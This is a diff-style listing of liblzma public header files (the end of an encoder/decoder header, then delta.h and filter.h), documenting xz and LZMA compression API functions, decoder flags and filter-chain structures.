||||||
|
* If initialization succeeds, use lzma_code() to do the actual encoding.
|
||||||
|
* Valid values for `action' (the second argument of lzma_code()) are
|
||||||
|
* LZMA_RUN, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, and LZMA_FINISH. In future,
|
||||||
|
* there may be compression levels or flags that don't support LZMA_SYNC_FLUSH.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_easy_encoder(
|
||||||
|
lzma_stream *strm, uint32_t preset, lzma_check check)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Stream encoding using a preset number
|
||||||
|
*
|
||||||
|
* The maximum required output buffer size can be calculated with
|
||||||
|
* lzma_stream_buffer_bound().
|
||||||
|
*
|
||||||
|
* \param preset Compression preset to use. See the description
|
||||||
|
* in lzma_easy_encoder().
|
||||||
|
* \param check Type of the integrity check to calculate from
|
||||||
|
* uncompressed data.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_size Size of the input buffer
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_BUF_ERROR: Not enough output buffer space.
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_easy_buffer_encode(
|
||||||
|
uint32_t preset, lzma_check check,
|
||||||
|
const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Stream encoder using a custom filter chain
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param filters Array of filters. This must be terminated with
|
||||||
|
* filters[n].id = LZMA_VLI_UNKNOWN. See filter.h for
|
||||||
|
* more information.
|
||||||
|
* \param check Type of the integrity check to calculate from
|
||||||
|
* uncompressed data.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization was successful.
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_encoder(lzma_stream *strm,
|
||||||
|
const lzma_filter *filters, lzma_check check)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate approximate memory usage of multithreaded .xz encoder
|
||||||
|
*
|
||||||
|
* Since doing the encoding in threaded mode doesn't affect the memory
|
||||||
|
* requirements of single-threaded decompressor, you can use
|
||||||
|
* lzma_easy_decoder_memusage(options->preset) or
|
||||||
|
* lzma_raw_decoder_memusage(options->filters) to calculate
|
||||||
|
* the decompressor memory requirements.
|
||||||
|
*
|
||||||
|
* \param options Compression options
|
||||||
|
*
|
||||||
|
* \return Number of bytes of memory required for encoding with the
|
||||||
|
* given options. If an error occurs, for example due to
|
||||||
|
* unsupported preset or filter chain, UINT64_MAX is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_stream_encoder_mt_memusage(
|
||||||
|
const lzma_mt *options) lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize multithreaded .xz Stream encoder
|
||||||
|
*
|
||||||
|
* This provides the functionality of lzma_easy_encoder() and
|
||||||
|
* lzma_stream_encoder() as a single function for multithreaded use.
|
||||||
|
*
|
||||||
|
* The supported actions for lzma_code() are LZMA_RUN, LZMA_FULL_FLUSH,
|
||||||
|
* LZMA_FULL_BARRIER, and LZMA_FINISH. Support for LZMA_SYNC_FLUSH might be
|
||||||
|
* added in the future.
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param options Pointer to multithreaded compression options
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_encoder_mt(
|
||||||
|
lzma_stream *strm, const lzma_mt *options)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .lzma encoder (legacy file format)
|
||||||
|
*
|
||||||
|
* The .lzma format is sometimes called the LZMA_Alone format, which is the
|
||||||
|
* reason for the name of this function. The .lzma format supports only the
|
||||||
|
* LZMA1 filter. There is no support for integrity checks like CRC32.
|
||||||
|
*
|
||||||
|
* Use this function if and only if you need to create files readable by
|
||||||
|
* legacy LZMA tools such as LZMA Utils 4.32.x. Moving to the .xz format
|
||||||
|
* is strongly recommended.
|
||||||
|
*
|
||||||
|
* The valid action values for lzma_code() are LZMA_RUN and LZMA_FINISH.
|
||||||
|
* No kind of flushing is supported, because the file format doesn't make
|
||||||
|
* it possible.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_alone_encoder(
|
||||||
|
lzma_stream *strm, const lzma_options_lzma *options)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate output buffer size for single-call Stream encoder
|
||||||
|
*
|
||||||
|
* When trying to compress uncompressible data, the encoded size will be
|
||||||
|
* slightly bigger than the input data. This function calculates how much
|
||||||
|
* output buffer space is required to be sure that lzma_stream_buffer_encode()
|
||||||
|
* doesn't return LZMA_BUF_ERROR.
|
||||||
|
*
|
||||||
|
* The calculated value is not exact, but it is guaranteed to be big enough.
|
||||||
|
* The actual maximum output space required may be slightly smaller (up to
|
||||||
|
* about 100 bytes). This should not be a problem in practice.
|
||||||
|
*
|
||||||
|
* If the calculated maximum size doesn't fit into size_t or would make the
|
||||||
|
* Stream grow past LZMA_VLI_MAX (which should never happen in practice),
|
||||||
|
* zero is returned to indicate the error.
|
||||||
|
*
|
||||||
|
* \note The limit calculated by this function applies only to
|
||||||
|
* single-call encoding. Multi-call encoding may (and probably
|
||||||
|
* will) have larger maximum expansion when encoding
|
||||||
|
* uncompressible data. Currently there is no function to
|
||||||
|
* calculate the maximum expansion of multi-call encoding.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(size_t) lzma_stream_buffer_bound(size_t uncompressed_size)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Stream encoder
|
||||||
|
*
|
||||||
|
* \param filters Array of filters. This must be terminated with
|
||||||
|
* filters[n].id = LZMA_VLI_UNKNOWN. See filter.h
|
||||||
|
* for more information.
|
||||||
|
* \param check Type of the integrity check to calculate from
|
||||||
|
* uncompressed data.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_size Size of the input buffer
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_BUF_ERROR: Not enough output buffer space.
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_buffer_encode(
|
||||||
|
lzma_filter *filters, lzma_check check,
|
||||||
|
const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/************
|
||||||
|
* Decoding *
|
||||||
|
************/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This flag makes lzma_code() return LZMA_NO_CHECK if the input stream
|
||||||
|
* being decoded has no integrity check. Note that when used with
|
||||||
|
* lzma_auto_decoder(), all .lzma files will trigger LZMA_NO_CHECK
|
||||||
|
* if LZMA_TELL_NO_CHECK is used.
|
||||||
|
*/
|
||||||
|
#define LZMA_TELL_NO_CHECK UINT32_C(0x01)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This flag makes lzma_code() return LZMA_UNSUPPORTED_CHECK if the input
|
||||||
|
* stream has an integrity check, but the type of the integrity check is not
|
||||||
|
* supported by this liblzma version or build. Such files can still be
|
||||||
|
* decoded, but the integrity check cannot be verified.
|
||||||
|
*/
|
||||||
|
#define LZMA_TELL_UNSUPPORTED_CHECK UINT32_C(0x02)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This flag makes lzma_code() return LZMA_GET_CHECK as soon as the type
|
||||||
|
* of the integrity check is known. The type can then be got with
|
||||||
|
* lzma_get_check().
|
||||||
|
*/
|
||||||
|
#define LZMA_TELL_ANY_CHECK UINT32_C(0x04)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This flag makes lzma_code() not calculate and verify the integrity check
|
||||||
|
* of the compressed data in .xz files. This means that invalid integrity
|
||||||
|
* check values won't be detected and LZMA_DATA_ERROR won't be returned in
|
||||||
|
* such cases.
|
||||||
|
*
|
||||||
|
* This flag only affects the checks of the compressed data itself; the CRC32
|
||||||
|
* values in the .xz headers will still be verified normally.
|
||||||
|
*
|
||||||
|
* Don't use this flag unless you know what you are doing. Possible reasons
|
||||||
|
* to use this flag:
|
||||||
|
*
|
||||||
|
* - Trying to recover data from a corrupt .xz file.
|
||||||
|
*
|
||||||
|
* - Speeding up decompression, which matters mostly with SHA-256
|
||||||
|
* or with files that have compressed extremely well. It's recommended
|
||||||
|
* to not use this flag for this purpose unless the file integrity is
|
||||||
|
* verified externally in some other way.
|
||||||
|
*
|
||||||
|
* Support for this flag was added in liblzma 5.1.4beta.
|
||||||
|
*/
|
||||||
|
#define LZMA_IGNORE_CHECK UINT32_C(0x10)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This flag enables decoding of concatenated files with file formats that
|
||||||
|
* allow concatenating compressed files as is. From the formats currently
|
||||||
|
* supported by liblzma, only the .xz format allows concatenated files.
|
||||||
|
* Concatenated files are not allowed with the legacy .lzma format.
|
||||||
|
*
|
||||||
|
* This flag also affects the usage of the `action' argument for lzma_code().
|
||||||
|
* When LZMA_CONCATENATED is used, lzma_code() won't return LZMA_STREAM_END
|
||||||
|
* unless LZMA_FINISH is used as `action'. Thus, the application has to set
|
||||||
|
* LZMA_FINISH in the same way as it does when encoding.
|
||||||
|
*
|
||||||
|
* If LZMA_CONCATENATED is not used, the decoders still accept LZMA_FINISH
|
||||||
|
* as `action' for lzma_code(), but the usage of LZMA_FINISH isn't required.
|
||||||
|
*/
|
||||||
|
#define LZMA_CONCATENATED UINT32_C(0x08)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Stream decoder
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
|
||||||
|
* to effectively disable the limiter. liblzma
|
||||||
|
* 5.2.3 and earlier don't allow 0 here and return
|
||||||
|
* LZMA_PROG_ERROR; later versions treat 0 as if 1
|
||||||
|
* had been specified.
|
||||||
|
* \param flags Bitwise-or of zero or more of the decoder flags:
|
||||||
|
* LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK,
|
||||||
|
* LZMA_TELL_ANY_CHECK, LZMA_CONCATENATED
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization was successful.
|
||||||
|
* - LZMA_MEM_ERROR: Cannot allocate memory.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported flags
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_decoder(
|
||||||
|
lzma_stream *strm, uint64_t memlimit, uint32_t flags)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode .xz Streams and .lzma files with autodetection
|
||||||
|
*
|
||||||
|
* This decoder autodetects between the .xz and .lzma file formats, and
|
||||||
|
* calls lzma_stream_decoder() or lzma_alone_decoder() once the type
|
||||||
|
* of the input file has been detected.
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
|
||||||
|
* to effectively disable the limiter. liblzma
|
||||||
|
* 5.2.3 and earlier don't allow 0 here and return
|
||||||
|
* LZMA_PROG_ERROR; later versions treat 0 as if 1
|
||||||
|
* had been specified.
|
||||||
|
* \param flags Bitwise-or of flags, or zero for no flags.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization was successful.
|
||||||
|
* - LZMA_MEM_ERROR: Cannot allocate memory.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported flags
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_auto_decoder(
|
||||||
|
lzma_stream *strm, uint64_t memlimit, uint32_t flags)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .lzma decoder (legacy file format)
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
|
||||||
|
* to effectively disable the limiter. liblzma
|
||||||
|
* 5.2.3 and earlier don't allow 0 here and return
|
||||||
|
* LZMA_PROG_ERROR; later versions treat 0 as if 1
|
||||||
|
* had been specified.
|
||||||
|
*
|
||||||
|
* Valid `action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH.
|
||||||
|
* There is no need to use LZMA_FINISH, but it's allowed because it may
|
||||||
|
* simplify certain types of applications.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_alone_decoder(
|
||||||
|
lzma_stream *strm, uint64_t memlimit)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Stream decoder
|
||||||
|
*
|
||||||
|
* \param memlimit Pointer to how much memory the decoder is allowed
|
||||||
|
* to allocate. The value pointed by this pointer is
|
||||||
|
* modified if and only if LZMA_MEMLIMIT_ERROR is
|
||||||
|
* returned.
|
||||||
|
* \param flags Bitwise-or of zero or more of the decoder flags:
|
||||||
|
* LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK,
|
||||||
|
* LZMA_CONCATENATED. Note that LZMA_TELL_ANY_CHECK
|
||||||
|
* is not allowed and will return LZMA_PROG_ERROR.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_pos The next byte will be read from in[*in_pos].
|
||||||
|
* *in_pos is updated only if decoding succeeds.
|
||||||
|
* \param in_size Size of the input buffer; the first byte that
|
||||||
|
* won't be read is in[in_size].
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if decoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful.
|
||||||
|
* - LZMA_FORMAT_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_NO_CHECK: This can be returned only if using
|
||||||
|
* the LZMA_TELL_NO_CHECK flag.
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK: This can be returned only if using
|
||||||
|
* the LZMA_TELL_UNSUPPORTED_CHECK flag.
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached.
|
||||||
|
* The minimum required memlimit value was stored to *memlimit.
|
||||||
|
* - LZMA_BUF_ERROR: Output buffer was too small.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_buffer_decode(
|
||||||
|
uint64_t *memlimit, uint32_t flags,
|
||||||
|
const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
77
src/include/lzma/delta.h
Normal file
77
src/include/lzma/delta.h
Normal file
@ -0,0 +1,77 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/delta.h
|
||||||
|
* \brief Delta filter
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Filter ID
|
||||||
|
*
|
||||||
|
* Filter ID of the Delta filter. This is used as lzma_filter.id.
|
||||||
|
*/
|
||||||
|
#define LZMA_FILTER_DELTA LZMA_VLI_C(0x03)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Type of the delta calculation
|
||||||
|
*
|
||||||
|
* Currently only byte-wise delta is supported. Other possible types could
|
||||||
|
* be, for example, delta of 16/32/64-bit little/big endian integers, but
|
||||||
|
* these are not currently planned since byte-wise delta is almost as good.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_DELTA_TYPE_BYTE
|
||||||
|
} lzma_delta_type;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Options for the Delta filter
|
||||||
|
*
|
||||||
|
* These options are needed by both encoder and decoder.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/** For now, this must always be LZMA_DELTA_TYPE_BYTE. */
|
||||||
|
lzma_delta_type type;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Delta distance
|
||||||
|
*
|
||||||
|
* With the only currently supported type, LZMA_DELTA_TYPE_BYTE,
|
||||||
|
* the distance is as bytes.
|
||||||
|
*
|
||||||
|
* Examples:
|
||||||
|
* - 16-bit stereo audio: distance = 4 bytes
|
||||||
|
* - 24-bit RGB image data: distance = 3 bytes
|
||||||
|
*/
|
||||||
|
uint32_t dist;
|
||||||
|
# define LZMA_DELTA_DIST_MIN 1
|
||||||
|
# define LZMA_DELTA_DIST_MAX 256
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. You should not touch these, because the names
|
||||||
|
* of these variables may change. These are and will never be used
|
||||||
|
* when type is LZMA_DELTA_TYPE_BYTE, so it is safe to leave these
|
||||||
|
* uninitialized.
|
||||||
|
*/
|
||||||
|
uint32_t reserved_int1;
|
||||||
|
uint32_t reserved_int2;
|
||||||
|
uint32_t reserved_int3;
|
||||||
|
uint32_t reserved_int4;
|
||||||
|
void *reserved_ptr1;
|
||||||
|
void *reserved_ptr2;
|
||||||
|
|
||||||
|
} lzma_options_delta;
|
||||||
426
src/include/lzma/filter.h
Normal file
426
src/include/lzma/filter.h
Normal file
@ -0,0 +1,426 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/filter.h
|
||||||
|
* \brief Common filter related types and functions
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum number of filters in a chain
|
||||||
|
*
|
||||||
|
* A filter chain can have 1-4 filters, of which three are allowed to change
|
||||||
|
* the size of the data. Usually only one or two filters are needed.
|
||||||
|
*/
|
||||||
|
#define LZMA_FILTERS_MAX 4
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Filter options
|
||||||
|
*
|
||||||
|
* This structure is used to pass Filter ID and a pointer filter's
|
||||||
|
* options to liblzma. A few functions work with a single lzma_filter
|
||||||
|
* structure, while most functions expect a filter chain.
|
||||||
|
*
|
||||||
|
* A filter chain is indicated with an array of lzma_filter structures.
|
||||||
|
* The array is terminated with .id = LZMA_VLI_UNKNOWN. Thus, the filter
|
||||||
|
* array must have LZMA_FILTERS_MAX + 1 elements (that is, five) to
|
||||||
|
* be able to hold any arbitrary filter chain. This is important when
|
||||||
|
* using lzma_block_header_decode() from block.h, because too small
|
||||||
|
* array would make liblzma write past the end of the filters array.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Filter ID
|
||||||
|
*
|
||||||
|
* Use constants whose name begin with `LZMA_FILTER_' to specify
|
||||||
|
* different filters. In an array of lzma_filter structures, use
|
||||||
|
* LZMA_VLI_UNKNOWN to indicate end of filters.
|
||||||
|
*
|
||||||
|
* \note This is not an enum, because on some systems enums
|
||||||
|
* cannot be 64-bit.
|
||||||
|
*/
|
||||||
|
lzma_vli id;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Pointer to filter-specific options structure
|
||||||
|
*
|
||||||
|
* If the filter doesn't need options, set this to NULL. If id is
|
||||||
|
* set to LZMA_VLI_UNKNOWN, options is ignored, and thus
|
||||||
|
* doesn't need be initialized.
|
||||||
|
*/
|
||||||
|
void *options;
|
||||||
|
|
||||||
|
} lzma_filter;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Test if the given Filter ID is supported for encoding
|
||||||
|
*
|
||||||
|
* Return true if the give Filter ID is supported for encoding by this
|
||||||
|
* liblzma build. Otherwise false is returned.
|
||||||
|
*
|
||||||
|
* There is no way to list which filters are available in this particular
|
||||||
|
* liblzma version and build. It would be useless, because the application
|
||||||
|
* couldn't know what kind of options the filter would need.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_filter_encoder_is_supported(lzma_vli id)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Test if the given Filter ID is supported for decoding
|
||||||
|
*
|
||||||
|
* Return true if the give Filter ID is supported for decoding by this
|
||||||
|
* liblzma build. Otherwise false is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_filter_decoder_is_supported(lzma_vli id)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Copy the filters array
|
||||||
|
*
|
||||||
|
* Copy the Filter IDs and filter-specific options from src to dest.
|
||||||
|
* Up to LZMA_FILTERS_MAX filters are copied, plus the terminating
|
||||||
|
* .id == LZMA_VLI_UNKNOWN. Thus, dest should have at least
|
||||||
|
* LZMA_FILTERS_MAX + 1 elements space unless the caller knows that
|
||||||
|
* src is smaller than that.
|
||||||
|
*
|
||||||
|
* Unless the filter-specific options is NULL, the Filter ID has to be
|
||||||
|
* supported by liblzma, because liblzma needs to know the size of every
|
||||||
|
* filter-specific options structure. The filter-specific options are not
|
||||||
|
* validated. If options is NULL, any unsupported Filter IDs are copied
|
||||||
|
* without returning an error.
|
||||||
|
*
|
||||||
|
* Old filter-specific options in dest are not freed, so dest doesn't
|
||||||
|
* need to be initialized by the caller in any way.
|
||||||
|
*
|
||||||
|
* If an error occurs, memory possibly already allocated by this function
|
||||||
|
* is always freed.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported Filter ID and its options
|
||||||
|
* is not NULL.
|
||||||
|
* - LZMA_PROG_ERROR: src or dest is NULL.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_filters_copy(
|
||||||
|
const lzma_filter *src, lzma_filter *dest,
|
||||||
|
const lzma_allocator *allocator) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate approximate memory requirements for raw encoder
|
||||||
|
*
|
||||||
|
* This function can be used to calculate the memory requirements for
|
||||||
|
* Block and Stream encoders too because Block and Stream encoders don't
|
||||||
|
* need significantly more memory than raw encoder.
|
||||||
|
*
|
||||||
|
* \param filters Array of filters terminated with
|
||||||
|
* .id == LZMA_VLI_UNKNOWN.
|
||||||
|
*
|
||||||
|
* \return Number of bytes of memory required for the given
|
||||||
|
* filter chain when encoding. If an error occurs,
|
||||||
|
* for example due to unsupported filter chain,
|
||||||
|
* UINT64_MAX is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_raw_encoder_memusage(const lzma_filter *filters)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate approximate memory requirements for raw decoder
|
||||||
|
*
|
||||||
|
* This function can be used to calculate the memory requirements for
|
||||||
|
* Block and Stream decoders too because Block and Stream decoders don't
|
||||||
|
* need significantly more memory than raw decoder.
|
||||||
|
*
|
||||||
|
* \param filters Array of filters terminated with
|
||||||
|
* .id == LZMA_VLI_UNKNOWN.
|
||||||
|
*
|
||||||
|
* \return Number of bytes of memory required for the given
|
||||||
|
* filter chain when decoding. If an error occurs,
|
||||||
|
* for example due to unsupported filter chain,
|
||||||
|
* UINT64_MAX is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_raw_decoder_memusage(const lzma_filter *filters)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize raw encoder
|
||||||
|
*
|
||||||
|
* This function may be useful when implementing custom file formats.
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param filters Array of lzma_filter structures. The end of the
|
||||||
|
* array must be marked with .id = LZMA_VLI_UNKNOWN.
|
||||||
|
*
|
||||||
|
* The `action' with lzma_code() can be LZMA_RUN, LZMA_SYNC_FLUSH (if the
|
||||||
|
* filter chain supports it), or LZMA_FINISH.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_raw_encoder(
|
||||||
|
lzma_stream *strm, const lzma_filter *filters)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize raw decoder
|
||||||
|
*
|
||||||
|
* The initialization of raw decoder goes similarly to raw encoder.
|
||||||
|
*
|
||||||
|
* The `action' with lzma_code() can be LZMA_RUN or LZMA_FINISH. Using
|
||||||
|
* LZMA_FINISH is not required, it is supported just for convenience.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_raw_decoder(
|
||||||
|
lzma_stream *strm, const lzma_filter *filters)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
